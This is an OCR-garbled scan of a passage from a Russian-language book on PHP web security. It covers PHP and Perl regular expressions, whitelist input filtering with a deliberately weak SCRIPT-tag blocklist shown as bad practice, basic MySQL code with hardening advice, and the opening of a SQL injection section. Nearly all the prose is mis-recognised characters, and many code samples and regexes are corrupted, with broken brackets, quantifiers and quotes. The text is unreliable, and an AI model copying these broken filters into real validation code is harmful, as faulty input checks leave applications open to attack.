9KBUBAICHTOM PEry/IsipHOTO BhIPAXEHMsl [A-Za-z0-9].

Crnenylonuii nmpuMep nokasbiBaeT, Kak B CTPOKE 3aMEHUTH Bce LU(DPbl CMMBO-~

Jom X:

Stext= "13hk132131h";

Snewtext = ereg_replace("[[:digit:]]", "X", Stext);

3.6.3. Ucnonb3oBaHue perynsapHbiX BoipaXkeHunii Perl

B paszdeae 3.6.2 mbl paccMOTpeu peryasipHsle Beipaxenns B ctiie PHP, Ho Hau-
GOoNbILYI0 TIOMY/ISIPHOCTS MONYYMIN peryasipHble BelpaxkeHus B ctune Perl, koro-
pbie HMEIOT coBepuieHHo Apyroit ¢opmar. Eciu Bbl MMeNH OMBIT mporpamMmu-
posanua Ha Perl, To Bam ymoOHee Gymer MCMONAB3OBATH HMEHHO 3TH LAGIOHBI,
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K TOMY e, OHM NpelocTaBsioT Gonbule BosmoxHocreit. Bee omuum Msl pac-
CMOTPETh HE CMOXEM, HO Ha OCHOBHbIX OCTAHOBUMCS MaKCHMATBHO MoapobHo,

Hekortopele crieUMaaucTsl yTBepxaaor, 4ro Perl-sbipaxeHus paGoraior B He-
CKONBKO pa3 GpicTpee. A He Gepych MOMIEPXKUBATE 3TO YTBEPXIEHHUE, 4 MOU NPO-
BEPKH He nokasain ocoboit pasuuusl. [labrousl paborarr poctaTroyHo GeicTpo,
M 3aMEPUTH UX TAMEPOM 3aTPYAHUTEILHO.

Ha ator pas Mel Gyaem IeHcTBOBATH B obpaTtHOM no;mlxc cHavaza y3Haem, Kak
nKCaTh PEryjsipHbie BBIPAKEHUs, a MOTOM yke obeynuM (yHKUMM, KOTOphie
MOXHO HCnosb3oBarh. Jla, GyHKuMM s paboTsl ¢ PeryisipHbIMU BEIPOKEHUSIMU
Perl omuualorest ot gynkunit PHP, ux Mbl paccMOTpUM B clleAyIolleM pasnese.

Perynsipbie Beipaxenust Perl sakimovaiores mexay asyms crsiuamu. Hanpumep,
creayoumit wabnoHn coorsercrByet cnopy hacker: /hacker/.

Mocne waboHa MOTYT yKa3kIBATHCSI MOLI(MUKATOPBI B CEYIOIIEM BHIE:
/mabnon/mMombuxaTops

MoanidukaTopsl MpeacTaBasioT coboii OyKBel, KOTOphIE BIMAIOT HA peryspHoe
Bhipaxexue, Haubonee nonyusspreiMu mosudukaropamu Perl sasasiorest i u x.
PaccMOTpUM MX HA TIpUMeEpax.

0O i — WrHOpuUposats perucTp GYKB. DTO SHAYUT, YTO PEryIAPHOS BbIPAKEHUE
/hacker/i Gyler coorsercTBoBarek cnosaM hacker, HACKER, HacKer u 1. 1.
0O x — urHopuposats B wabaoHe npobensl, MepeBOABl CTPOK M KOMMEHTapHH.

D10 NO3BOJSET BAM MCIOJNIB30BaTh B 1IabioHe KOMMEHTApHH, YyTobbl Kou 6611
bonee yurabensusiM. Hanpumep:

/ # Hauano
hacker # Mckomoe cnoeo
/x # KoHell BhpaxeHMa M MOOMIUKATOPR X

0 m — no yMONYaHHMIO TEKCT PACCMATPHBAETCSH KAK OHA CTPOKA, HO CHAU yKa-
3aH 3TOT MOIM(UKATOP, TO MOXHO HCIONB3OBATh MHOTOCTPOUHBIH TEKCT. L

MoXXHO yKa3biBaTh Cpasy HeCKOJNIbKO MOAM(DIKATOPOB.

B peryaspHbix BsipaxeHusix Perl oyenb BaxHOe 3HaYyeHWe MMeeT obpaTHbIif
cism, B rabn. 3.1 MOXHO YBUIETH PasiMYHBIC BapMaHTBl MCITONB30BAHUSI 3TOr0
CHMBOJIA,

Ta6nuya 3.1. Mcrions3aosaHue o6parHoro cnslla B PerynspHbIX BuipaxeHuax Perl

Orpanmunni  Onucaune

\b Ipanuua cnosa
\B OrcyTtcTaune rpaHiLbl cnosa
A Ha4ano cTpoku
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Tabnuya 3.1 (oxonuaHie)

OrpanuveHnue Om;cumn ' .

\Z KoHel| cTpoku unu nepesof, kaparm

\z KoHel cTpoku

\d Hecatnunan uncppa
D TioBoit cumaon, Kpoue‘lhecamquoﬁ uuchpsl

\s MNpo6en unu cumson TabynaAuum

\S Bee, kpome npobena

\n Cunmeon nepesofia kapeTku (cumson ¢ kopom 13)

\r Cumson sosspara Kapemu (cumeon ¢ kopom 10)

\t Cumson Tabynauuu (cumeon ¢ konom 9)

\w Cumson, kotopbili ucnonbayeTcs 8 cnosax, — Gykesl, Lucpsl u noA-

uepKuBaHue
\W Bcee, kpome cUMBONOB, UCNONb3YEMBIX B CIOBAX
\xhh MNossonset sagath CUMBON Yepes ero WeCTHaAUATEPUHHBIA Kog. Ha-

npuMep, ANA SafaHua NATUHCKOR Bykesl A HYXHO HanucaTs \x41

Utak, \ uMeer cneUHamTbHOe 3HAYEHHE, HO eciy HeoOXOIMMO YKa3aTh STOT CHM-
BOJI, HE BKJIABIBAS OMpPEASNEHHOrO CMBICHA, TO YKAXUTE ero ABAXKIbL.

PaccMorpum npumep. JonycTHM, YTO HaM HYXHO YKa3aTh TPH MOCHEAOBATENLHO
nayune wacpst, Jdis 3100 MOXHO HCMONB3OBATH CHACHAVIONIEE PETY/IPHOE Bbi-
paxeHHe:

/A\d\d\a/

To xe camoe MOXHO 3amucarh WHAYe:
/N\G{3)/

Terneph AOCMOTPHM, KAK MOXHO CO3AATH WAG0H 13 1idpEL, BYKBb # UHdPLE
JA\d\w\d/ '

Yenoxuum sanady. Jonyetum, uro HeoGXoamMo HAHTH CTPOKY, B KOTopoil BHa-
yaie uaer or 3 no 5 eumBonos, sarem npoben u manee or 3 mo 7 umdp. B Bume
PETYAPHOro BEIPAXKEHNA 3T0 BYIeT BHIIALSTh CAeAYIOIINM obpasoM:
/1A-21(3,7}\s\d{(3,4} / :

Ha moit Bamsan, xitoun \ MeHee HarsiiHbl, HO KO BCEMY MOXHO NPHBBIKHYTb.

Kax u B perymsipubix Buipaxenusx PHP, B Perl-iabnonax MoxHo uenonssopars
TOMKY, KOTOpas o3Ha4aer 000l onnHOMHEIH cuMBOI,
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B perynsipubix BbipaxkeHusix Perl MoXHO HCMois30BaTh W KBaIpaTHbe CKOOKH,
WISl 3an@aHusl [UAra3oHa BO3MOXHbLIX 3HaueHwil, Bor peryisipHoe Beipaxenue,
KOTOpPOE COOTBETCTBYeT JH0ObIM UndpaM M 3arnaBHbiM OykBam: /[0-9A-%Z]/.
A crenyoiuid mpuMep MoKashiBaeT, KAk 3aMEHUTH B CTPOKE CHMBOIBL, BXOASIUKE
B IMATIA30H, HA cUMBOJ X ¢ MOMOMIBIO (hYHKIHM preg_replace():

Stext= “13 EX_-hk13FR31h";

Snewtext = preg replace("/[0-9A-Z]/", "X", Stext);

echo ($newtext);

Cumson * osHauaer orpuuauue. Ecny HeobXoauMo 3aMEHNTL HA CUMBON X BCe,
kpome ungp 1, 2 1 3, 7o HenonbayeMm wadmoH /[~123]1/:

Stext= "13_S54hk13FR31h";

$newtext = preg.replace("/[*123])/*, "X", Stext);

echo ($newtext) ;

Kak Buaure, paGora ¢ peryaapHeiMu seipaxesusmu 8 crwie Perl u PHP oudens
MOX0Xa.

3.6.4. PyHKUMN perynsapHbiX BbipaxkxeHuin Perl

B arom paspene HaM MPEACTOMT TMO3HAKOMHUTHCA € (YHKUMSIMHM JUisl paboTsl
¢ perynspHbiMu Boipaxernsamu Perl. Ja, pyHKuMK oTIMYAIOTCA OT TeX, YTO Mbi
paccMoTpesu B paidene 3.6. 1, HO HEKOTOPhIE M3 HUX O4YEHb CXOXHK. OmHY M3 Ta-
KuX GyHKumi MBI yXe paccMaTPMBANIM M HE pa3 WCNONLIOBAIW — 3TO
preg_replace().

DyHKUua preg_match

DyHKUMA MLIET B CTPOKE COOTBETCTBHE PETYIAPHOMY BBIPAKEHHIO, KaK (DYHKUHS
ereg() mis perynspubix Beipaxenuit PHP. B obwem Buae ona sBemmsauT cie-
nyiouum obpasom:

int preg match(
string pattern,

string subject
[, array matches] )
VY (yHKUMK TPU Hapamerpa, Mepssie ABa U3 KOTOPLIX SIBISIOTCS 00si3aTeIbHBIMNA:
O pattern — peryjisgpHoe BhIPAXeHHE;
0 subject — CTPOKA, B KOTOPOIl NMPOMCXOAUT TTOUCK;
) matches — MepeMeHHas, B KOTOPYW OyAeT HOMEUeH MAaccHB HallleHHBIX
sHaveHuit, Ecin peryisipHoe BhpaxeHue pasduTo Ha YaCTH C NMOMOIUBIO KpyT-

JieIX ckobok, To cTpoka pasbupaeTcs B COOTBETCTBHH € PEryiisipHbIM: BhIpaxke-
HUeM M nomemiaercs: B MaccuB. Hynepoit sneMeHT MaccHBa — KOTHA CTPOKH,

6 3ax. 1315
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Ora hyHKUMSA oYeHb ynobHa st TIpoBepKH, coorseTcTByeT M daitn onpenenex-
Homy wabnony. Hampumep, €ciin Bbl XOTUTE TIPOBEPUTH COOTBETCTBUE INEPeMEH-
HOH $server HIADNIOHY 3MEKTPOHHOTO IMOYTOBOIO anpeca, TO MOXHO BHIOJHHTH
CEAYIOIUHA KOJI:
Sr=preg_match({

"/~ [a-zA-20-9\._-]+@[a-2A-Z0-9\._-1+(\. [a-zA-Z0D-9]+) *§/",

$server) ;
if (1$x)

die("Ombxa dopmara nouroBoro Ammxa");

DyHkuua preg_match_all
®yHkuust paboraer Kak preg_match(), HO NP 3TOM MO3BOJNAET 3AATH ITOPSIOK,
B KOTOPOM MILYTCS COOTBETCTBYyiOWIMe iuabioHy momcrpoku. B obuem eune
yHKUMS BBITTISUTAT ClIeayIomuM obpasom:
int preg_match_all(
string pattern,
string subject,
array matches
[. int order] )
Y cdyHkuun yersipe napamerpa, Nepphie TPH M3 KOTOPBIX SIBISTIOTCS 06s3aTeNb-
HBIMM:
00 pattern — peryisipHoe BhIpaXeHHE;
0 subject — cTPOKA, B KOTOPOH NMPOUCKOAUT MOUCK;
0 matches — mnepeMeHHas, B KOTOpPYI0 OyAeT noMelieH MAcCHB HailIeHHbIX
3navenuii. Eciu perynsipHoe BoipaxeHue pasbuTo HA YACTH C NOMOIIBIO KPyr-

JbIX CKOGOK, TO KAXIbIA JIeMeHT MaccuBa Oyner conepXarb HalileHHOe CooT-
BETCTBHME ONpeaelieHHONi cKoOKe peryisipHOr0 BIPAXeHUs;

0 order — MOPSANOK pasMellleHHs CTPOK B Pe3y/ibTHPYIOLIEM Maccuse. DToT na-
paMeTp MOXET MPHHUMATH 3HAYEHHS:

®* PREG_PATERN_ORDER — HYJIEBOIf 3/eMeHT GyleT MACCHBOM TIONHBIX COOT-
sereTBUit wabnony. OcranbHble 3JMEMEHTHl COOTBETCTBYIOT HAWAEHHBIM
MOACTPOKAM COINIACHO pa30MeHMIO KPYIIbiMH CKODKaMH;

* PREG_SET_ORDER — pE3yJIbTaThl MOUCKA OyAyT HAXOAUTHCH B MaccuBe
matches, HAYAHAA C HYJIEBOTO CHMBOJIA.

Ecnn coorpercrsie HaitneHo, To (GYHKIMA BO3BPATHT true, HHAYE pe3ynbrar Oy-
IIeT paBeéH false.
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®yHkuna preg_split
QyHKUMA preg_split() pasOMBacT CTPOKY B COOTBETCTBHM C PeryAsipHEIM Bbl-

PaXeHHEM M BO3BPALIACT MACCHB CTPOK, KaK (yHKims splic() s PHP. B 06-
IIEM BHIIE OHA BBITJIANT TAK:

array preg.split(
string pattern,
string subject
[, int limit

[, int flags]] )
IMocmoTpuM Ha napamMeTpsl QyHKIMK:
O pattern — PEryisipHOE BhIpaXeHue;
0 subject — CTPOKA, B KOTOPOH MPOMCXOIUT MOUCK;
O limit — OrpaHHYeHHe KONHYECTBA HAHIEHHBIX 3HAYCHHIL,

0O flags — 3ech MOXHO yKasaTh PREG_SPLIT_NO_EMPTY. B sToM ciyyae dhyHk-
LM BEPHET TOJIBKO HENyCTHIE CTPOKH.

3.6.5. Pesiome

WUcnonsayiite perymspHbie BbIpaXeHHs, KOTAA HEOOXOAMMO NMPOBEPUTH BBOAHMbIE
no/b30BaTe/ieM JaHHbIe WIK Ul OCYUIECTRICHUA 3aMeHbl. Kakoil HMeHHO MeTon
BeiOparTh, 3aBUMCHT OT JMYHBIX npeanouyreHuit u curyauuu. WHorma ynobHee n
npotte Hanuecars PHP-perymsipHoe Beipaxenue, a wHoraa Perl. BuiBupaiite To,
YTO BAM HPABWTCH, H YTO Bbi JIYHILE 3HAETE, eciM NPy 3ToM obecneyuBaoTcs pee
HEeoOXOIUMBIE MTPOBEPKY.

Onnaxas! 8 BumeN, Kak Ha sA3bike Basic Owua coanana BenmkonenHas nporpam-
Ma, KOTopas peliana JIOCTaTOYHO CHOXHbIE 3a1ayn. DT0 MCKYycCTBO, MOTOMY YTO
MPOrPaMMMCT XOPOIIO 3HAET CBOE [IeJI0 M C MOMOLUBIO MPOCTOrO H3bIKA PeuIul
JIOCTATOYHO CJIOXKHYIO 3anady, KOTOPas He no CHIaM JaXe ONbITHBIM Tporpam-
MUCcTaM, MHIIYMWHM Ha 6o/ee MOIMIHEIX S3bIKAX TIPOrPAMMEPOBAHHSI.

Ecn MOXHO pelinTh 3aj1avy peryisipHbIMHA BbIPAKEHHUAMM PHP u BBl uX OCBOM-
W B JOCTATOMHOW CTerneHH, TO NMpUMeHsiiTe MX U HE MbiTAliTech UCTIONL3OBATH
Perl Tonsko 13-3a TOTO, 4TO ITH (LAONOHB! MOIIHEE.

Jlo npesena ynpowaiite 3anavy, 4robsi MeHblue Obuid BEPOATHOCTH OIMOUTHCS.
Ecnu Bl gonycTuTe OWMOKY, TO 9TO OKAXeTcs OvepenHoil ABIpo B 3auiure.
CoazaBaiiTe MaKCHMaJIbHO JKECTKHe peryiipHble BEIPAXEHMs!, HTOOk Y MONbL30Ba-~
Teneit GbIO MeHBIE BOAMOXHOCTEH mns pasryna. Heobxommmo neiictsosats ot
3anpera U GUIKTPOBATE BCE HEXENATENbHBIE CHMBOJILI,
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3.7. Y10 n kak chunsTpoBaTh

B paszdese 3.5 MBI TOBOPMAN O TOM, TAE HYXHO NPOH3BOIMTH (DHABTPALMIO BBO-
JUMLIX [TONB30BATENEM JAHHBIX, U MPHILIA K BLIBOAY, YTO 9TO AOKHO MPOMCKO-
auTh B cueHapuu, Hanee (paszdes 3.5) MBI y3Han® O TOM, KAKMMH CPEACTBaAMM
MOXKET MPOU3IBOANTECH (PHILTPALIMS, W JUIA 3TOrO MO3HAKOMWIHCE C PeryiipHbi-
mu suipakeHusima PHP u Perl. B stoii rnase Mul mepeifieM K npaxkrudeckoii
YACTH W HA PUMEPAaX YBUIKHM, YTO M KaK HYXXHO (pHILTPOBATD.

[Mpexne yeM MBI HaYHEM paccMaTPHUBATL TMPUMEpPhLl, HEOOXOMHMO YETKO TIOHHTh,
Kak OyneT MpoMCXOOWTh Ppa3pelieHMe Wik 3armperT OnpeaeaeHHLIX CHMBOJIOB.
BoibliMHCTBO HAYHHAIONINX MPOrpaMMUCTOB OyleT MUCaTh peryasipHoOe BhIpaxe-
HHE, B KOTOPOM 3alpellaloTesi ONnpe/ie/ieHHbIe CHMBOIIBI, A BCce OCTaibHOe Oyner
paspettiero. ONLITHBLIA NporpaMMHICT, HaueleHHbH Ha GesonacHocTs, Oyaer nefi-
cTBOBaTH HaobOPOT — 3anpemniaTh BCE, YTO ABHO HE paspelieHo.

[Touemy GesonacHee ciaenoBaTh MPaBHIy "4TO He paspelieHo, To 3anpeueHo"?
Jeso B TOM, YTO TOYHO 3aMPETHTH BCE HEBO3IMOXKHO, W Bbl 06A3aTENLHO YTO-TO
ynycrure. Hanpumep, Bbl XoTuTe paspewmrts ucnoib3osaHue tonsko HTML-
TEroB <B>», <I>, <U>. [LIf 3TOr0 MOXHO HANUCATh PETYASIPHOE BhIpAXeHHE, 3a-
NPEILAIolIce BCE OMAcHBIE TErH:

$id=ereg_replace("<SCRIPT> |<VBSCRIPT> | <JAVASCRIPT>", "", $id);

Ho rae rapavTusi, 410 Bbl NEPEYUCHWIN B PEryisipHOM BBIPAKEHWW BCE 3anpe-
wennbie Teru? K tomy xe, Web He ctour Ha mecre, H MOCTOSHHO NOABISIOTCA
BCE HOBBIE TEI'H, KOTOPbIE MOTYT CTaTh ONMACHLIMH, & OHH HE MepevYHcleHskl B Ba-
1WeM peryisipHoM BhipaXeHuu. HaMHOTro npoiue 3anperuTs Bee, KpOME SIBHO YKa-
3AHHOTO!

<?php

Sstr = "<I><STRONG>Hello <B> World<SCRIPT>";

Sstr=ereg_replace("<[A-Z] (1, }[*BIU]l>", "" S$str);

print ($str) ;

?>

B atom npumepe sanpemaercs moboit Ter, Kpome <B>, <I> # <u>. Ecnu 8 HTML
NOSIBUTCS HOBBIH TEr, TO MO yMOM4YaHWio oH Oyxer 3anpelieH, Moka Bbl ero He
nobasute B BhIpAKEHUE [~BIU].

s Toro urobel MOHATL, 4TO (GUABTPOBATE, HEOOXOMMMO YETKO NPeNcTaBIsTh
cebe, yro Gyaer nepenasathes Hepes mapamerpnl. Hampumep, y sac Ha dopme
eCTb TOJIS BBOLA JUTS CAEAYIOUWMX NAHHBIX: baMuius, UM, OTYECTBO, MOJ, AaTa
poxieHus, Bo3pact i npumedanue. [apaiite pazGepem Kaxmoe U3 noneil U mo-
CMOTPHM, KAKHE CHMBOJIBI MOXHO PA3PeNIHTL K BBOAY:

O ®amuaus, HMA W OTYECTBO — BCE 3TH TPU NOJAA ABASIOTCS TEKCTOBBIMH M
MOTYT colepXarh Jtobele OykBeHHBIE ciMBONLI. Bee octanbHoe NOMKHO GBITH
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sanpeuteHo. ClieloBaTe/IbHO, PeryspHOE BEIPAXEHHE JUISL 9TUX NOJeH A0MK-
HO BHIFASZETH TaK:

Sstr=ereg_replace("[*a-zA-Z]", "", Sstr);

B paHHOM BBIp@XEHWH MBI 3anpeliaeM Bee, Kpome OYyKB oT A 1o Z B HHXHEM
M BepXHeM perucrpe. Takum obpasoM, He HYXKHO NepedrcisTh sanpememme
CHMBOJIBI ¥ MOJNMTBCH, YTO MBI HHYEro He 3a0bITH.

O lNon — MoXeT NPHHHUMATL OMHO W3 3HAYEHUH — MYXKCKON WK XeHckuii. Bee
OCTANBHOE NO/MKHO OGecrniomanHo obpesarsed. Yalie Bcero nos COKpamaior 1o
onHoM Oyksel M min XK, nosToMy peryisipHoe BHIDAKEHHE MOXET BBINISIETH
cnenyommum obpasom:
$str=ereg replace(" [ MK]", "", $str);

B peaynbrare Bce CHUMBOJBI, KPOME YKA3aHHBIX ABYX GyKB, GyayT yaanirees u3
napamerpa. \

0O [lara poxaeHus — A0IKHO oOpesarhes Bee, Kpome uugp 1 cHMMBOJA TOYKH,
KOTOPAs MCHIONB3YETCA IS pasiencHus YHCIA, MECSLA W TOaa.

$str=ereg replace("[#0-9.]1", "", Sstr);

O Boapacr — 3To 4Mcio, a 3HAYUT, B HEM HE JOIKHO OBITH HUUEro, Kpome
p:
Sstr=ereg_replace("[~0-9]", "", Sstr);

O Tpumevanue — 370 camas CAOXKHas MEpPeMeHHas, MOTOMY YTO OHA MPeacTaB-
nsier coboif TEKCT, KOTOpBI MOXET BBeCTM Moib3oparelNb. Kak MHHHMYyM,
3aech Bbl JOJDKHBI 3aMPETHT JI00bIe TerH:

Sstr=ereg_replace("<[A-Z] {1,}>", "", $stx);

BmecTo TeroB Jiyuilie IO3BOJMTH TOJIL30BaTEN0 npumeHnTh bbcode. Hampumep,
JUTSL BEUIGJIEHMS YYacTKa TeKCTa KHPHBIM WPUGPTOM MOJIB3OBATENbL N0KEH Oyaer
yKa3aTh B cTpoke "bb" ter [bl. A yxe B PHP-cuenapuu Bl Gynere 3aMeHsiTh Ter
[b] Ha <B>.

C aaMeHON [b] Ha <B> HYXXHO OLITh OYEHb OCTOPOXHBIM. Hensss npocTo MEHATH
CHMBONGI [ M ] HA < W > coorBeTcTBEHHO. Torna xakep CMOXeT Hanmcarbs TEKCT
[SCRIPT], KOTOPBIH IMpeBpaTuTesl B <SCRIPT>, [ToMek 1 3aMeHy HYKHO Npon3so-
JAWTH 110 NOJHOMY MMEHH Tera, T. €. [b] A0JDKHO MEHATHCH HA <B>.

Teneps NMoroBOpUM O TOM, KOIM@ HY)XHO [MPOH3IBOANTL TIPOBEPKY MApaMeTpos.
Ha aror BOmnpoc 5 BCerja orseyaio — B camoM Havane aitna cuenapus. Oumbka
MHOTMX TIPOTPAMMUCTOB COCTOMT B TOM, YTO OHM YOUPAIOT AMUIHME CHMBOIbI
TONBKO B MOMEHT HCroNb3oBaHus. HO ofHa nepeMeHHas MOXeT BCTpevaTsost
B CLIEHAPHM HECKOIBKO Pas, M OYeHb YACTO B OXHOM MECTE TPOrpaMMHCT OvHila~
T TIEPEMEHHYIO OT OMacHLIX CHMBOJIOB, @ B ApyroM 3abbiBaer ato caenars. YTobwl
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TaKOro He MPOW3ONLIO, SI BCINA OYMILAI0 TNMEepeMeHHbe OT JHIHHMX CHMBOJIOB
B caMOM Hayajie cueHapus. To ecTb MO clLeHApPHil BEIMALMT CISLYIOUNM 00-
pasoMm:

<?php
Y8upaem NOTEeHUMANLHO ONACHLE CHMMBONE WS BCEX [EPEeMEHHEX,
NonyyeHHEX OT NOMBESOBaATENA

Kop cuexapmus
2>

st Toro yto6bl OYHCTUTH MapameTphbl OT BCEro OMAacHOro, s UCMONb3YI0 Npu-
MEpHO CAeayIOLUMIi KONL:

S$param = preg_replace("Perynapuoe Bupazenue", "", Sparam);

B naHHoM ciay4ae $param — 3TO MMA NepeMeHHO#N, KOTOPYI) HYXHO OHH-
CTUTH OT OMACHBIX CHMBOJIOB. PerynspHoe BhlpaXeHMe 3aBMCHT OT THNA ne-
peMeHHOR M coaepXauluxcs 3HaYeHu!, a B KayecTse 3aMeHb! BBICTYNAeT Mnyc-
Tass crpoka. [ 4acTo MCMONL3YEMBIX PEeryIspHBEIX BhlpaXeHWH s co3jnan
OTHENbHYIO (DYHKIHIO, 4 He BbI3BIBAIO (YHKUHK preg_replace() HaNpaMylo,
HanpuMep, Tak:

function prepare_param|Sparam)

{

return ereg_replace("[(*0-9.]", "', $param);
}

$name = prepare_param($name) ;

Mzl eute He pas GyneM MCnonb3oBaTh MOAOGHBIH B MPOBEPKHM, TIOTOMY HTO OH
MOIBOJAET JY4lle YNPABIAThE ONMHAKOBBIMHM WAGKOHAMYM U MHOTHX MEpeMeH-
Heix. Jlonyerum, Ha dopme BBoma MoXeT OBITH TP TOJNA, JaHHBIE KOTOPBIX
JO/DKHBI  YIOBJIETBOPATL ONpeneneHHoMy TpeGoBaHWio (HANpHUMep, COAEPXKATH
Tonbko Gyksel). Ecnu B Koae TPHXKAbL MHCATH OIHO M TO Xe PerysapHoe Bhipa-
KeHue, TO B ciyyae HeoOGXONMMOCTH MOAEPHHU3IUPOBATH €ro HYXHO OyleT McKarb
KaX10€e €ro BXOXIEHHE C MOCASAYIOWMM H3MeHeHHeM. B ciyyae ucnonpioBanus
(yHKIMH Bbl MOXETe JIErKO HApaliMBaTh M H3MEHNTb €e BO3MOXHOCTH, A BCe
H3MEHeHHs OyayT BIMATH HAa BCEe MEPEMEHHbIE, KOTOpPble MPOBEPAIOTCA HAHHOM
dbyHKOuei.

[Ipu wcnons3oBaHWyM UEHTpanu3oBaHHON (B Havane ¢aitna) nposepku napamer-
poB MOXHO oboiTHch U 6e3 pyHKuMit, HO HHOIAA QYHKUMH AeHCTBUTENLHO yi-
POLUAIOT COTIPOBOXAEHKE Baluel mporpaMMbl.
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3.8. basbl gaHHbIX

Bassl JaHHBIX B 9TO KHWTE MBI pACCMATPUBAEM [OCTATOYHO [MOBEPXHOCTHO, HO
coBceM MTHOPMPOBATh MX HeBoamoxHo. HenpasuisHoe obpalieHne ¢ 3anpocaMiu
MOXET TMPUBECTH K norepe 6assl JaHHLIX WIH A@Xe KOHTpous Hax caifrom. Hame
Bcero rpoGneMa KpoeTcs B HEMPABMILHOM MOMYYeHHW AaHHBIX OT NMOJMB30BATEN,
a To4YHee, MOAYYEHMM ITHX NaHHLIX Oe3 nposepku KoppektHoctw, Ho nasaiite
ofcyiMM Bce M0 MOPSIKY, CHAYAIA PACCMOTPMM MpuHuMn pabotel ¢ Gazamm
B PHP, a norom y:ke noropopum of ysi3BUMOCTSX.

3.8.1. OcHoBbl 6a3 faHHbIX

Paccmorpum nipoerteiituuii npumep paboTst ¢ 6azoil faHHBIX:
<?php
if (mysgl_connect("localhost", "username", "password")s==0)
die("Can't comnect to Database Server");
mysql_select_db("database");

Sresult=mysql gquery("SELECT * FROM table");

Srows=mysql_num_rows (Sresult);
print(Srows) ;

mysql_close() ;
>

Cepsep 6assl JaHHBIX — 3TO OTAEJNbHAA TporpamMma, Kotopas paboraer HeszaBu-
cumo or Web-cepsepa u tpebyer nomknodeHus. [ NOAKIIOYEHUS HCTIONL3YeT-
e pyHKUNS mysql_connect (), KOTOpOil HeoGxomuMo nepenars TPH napamerpa:
anpec cepsepa, MM# nojb3osarens v naponb. Ecmu saw cepsep 6aski AaHHBIX
HAXOMMTCS HA TOM Xe KoMmIblioTepe, 4To 1 Web-cepsep, To BMECTO alpeca MOXHO
ykasars localhost.

Pacemotpenne GesonmacHocTH cepsepoB 6a3 AAHHBIX BBIXOUMT 38 PaMKH 3TOM
KHUTH, HO A1 IaM HECKOJIbKO peKoMeHIalliil oTHocuTeNnbHO cepsepa MySQL:

0 MySQL MOXHO HAacTpOWTh Tak, YToOBl K HEMY MOT MOJAKTIOUATHES TOMLKO JIO-
KanbHbI KOMIBIOTEP, a YIVIEHHOE NMoAKIoYeHne Obulo 3anpenieHo. bea oco-
Ooif HeobXoIUMOCTH HE MO3BOJSIITE YCTAHABIMBATE YAANEHHOE NMOAKITIOYEHHE.

O Ecim yianeHHoe MOAKIIOMEHME IS ynpabieHus 6asaMu JaHHBIX Heobxonn-
MO, TO 06A3aTENILHO 3AIIUTHTE €ro C MMOMOIIBI0 CETeBOTro 3KpaHa, paspeuins
TIOAKIIIOMEHNE TOIBKO ¢ onpeneneHHbX IP-anpecos M 3 BHYTpEHHEH ceTH,
HO He u3 UHTepHera.
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O Tlo ymonyaH#io, cpasy Moc/ie 3aBeplueHus NPpoueaypsl YCTAHOBKY, HaA cepeepe
MySQL s noaxmoyeHnst ¢ npaBaMy aIMHHUCTPATOpa UCMONL3YIOTCH YYer-
HAS 3aMKCch root ¥ mycroil napojibk. DTa 3anuch HE CBA3AHA ¢ CUCTEMHOM 3a-
nucklo OC Linux ¥ npuHaiexut cepsepy 6as panaux. ObssarensHo HIMe-
HUTE TIApofib W 3anaiiTe MAKCUMANBHO CIOXKHEIA, YTo6nl crenars mogbop mo
C/IOBAPIO HEBO3MOXHBIM, 4 MOTHEI nmepebop 10CTATOYHO TPYNOSMKHM.

TMocne coenuHeHus ¢ cepsepoM HeobXoaMMo BuiGpars Gasy, ¢ Koropoil Bat Gynere
paborats, nmoromy 4ro 8 MySQL ux moxer Onite Gomee ommno#t. ns atoro
Hernob3yerca (PYHKIMS mysql_select_db(), KOTOpPOU Tepelnaercss UM MHTEpe-
cylomeit pac 6aasl AaHHBIX. Teneps MOXHO BRIMONHATE SQL-3anpocel k Tabmu-
uam peibpaHHoit 6assl.

Jlnst monmyvyeHMUs DAHHLIX W3 TAOAMI Henonbayeres QYHKUMS mysqgl_query(), Ko-
TOPOi HY:KHO MepenaTs cTpokKy, conepxauryio texer SQL-zanpoca. Eciu Beimon-
HAETCS 3anpoc SELECT, TO (PYHKIWA BO3IBPALIAET PE3yALTHpYoUWit Habop aaH-
HbIX, COOTBETCTBYIOLIMX 3anaHHbIM yciaosusaM. Ecmum Bel He pabGorann ¢ SQL-
3anpocamu, TO B mpusoxcenuud ] Bbl MOXKETe MO3HAKOMUTBCH C OCHOBAMH 3TOMO
A3BIKA.

Yrobel ONpelenuTs KOJMYECTBO CTPOK, KOTOpble BO3BpaTHila mysql_gquery(),
MOXHO MCIIOb30BaTh QYHKIMIO mysql_num rows (). Eif HYXHO nepenarh nepe-
MEHHYIO, B KOTOPOH Bbl COXPAHWIM pe3ynbTHpYOmMit Habop DaHHBIX, & OHA BO3-
BPaTHT KOJIMYECTBO CTPOK B TOM Habope. '

Mo okoHwanun paborbl ¢ Ga3oil KAHHBIX PEKOMEHIYETCH KOPPEKTHO 3aBepLINTH
coemHeHne c cepeepoM Ga3 mamHeix. Ui aToro menonsayercs (pyHKipas
* mysgl_close(). Ecnu He BbI3BaTh 3Ty (QYHKUHIO, COSMMHEHHE MOXET OCTaThLCS
AKTHBHBIM, YTo ypepato npobremamu. Hampumep, HEKOTOPBIE XOCTHHIOBBIE
KOMMNAHHH Ha JelesbiX TapudHbIX IIAHAX OrpaHHYMBAIOT KOJMHECTBO OMHOBPE-
MEHHBIX coeiuHeHuii ¢ cepsepom 6a3 manubix. EcimM HeckolbKo nosb3oBareneii
OCTABAT OTKPHITOE coeiMHeHue, cepsep 6a3 JaHHBIX NepecTaHeT OTBEYATH H3-3a
TAKOro OrpaHHYeHMs, i caliT OKAXETCH HENOCTYITHBIM.

[pocMoTpers 3anucH pesyabTHPYIOUIEro Habopa MOXHO ¢ TOMOIIBIO (PYyHKIIHA
mysgl_fetch_row(). JonycruM, gro pesynstar SQL-3anpoca cocToMT M3 ABYX
KOJIOHOK — WAGHTH¢HKaTopa W uMeHW. B aToM citydyae nmpocMmoTp Beex 3anmuceil
MOXKET BBITIAAETH Cleayionm obpasom:
while (list($id, $name) = mysgl fetch_row(Sresult))
{

print(*§id - $name");
}

Ha aroM 3aKoHYMM paccMoTpeHUue OCHOB U repeiineM K Bonee rnybokomy pazbo-
py GesonacHocTH paboThl ¢ cepsepoM Has JaHHLIX.
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3.8.2. Araka SQL Injection

Camas pacnpocTpaHeHHas araka Xakepa Ha 6aszy maHHbix — SQL Injection, mpu
KoTopoii xakep scrasisier SQL-3anpocn 8 erpoky URL Bmecto onpenenesHsoro
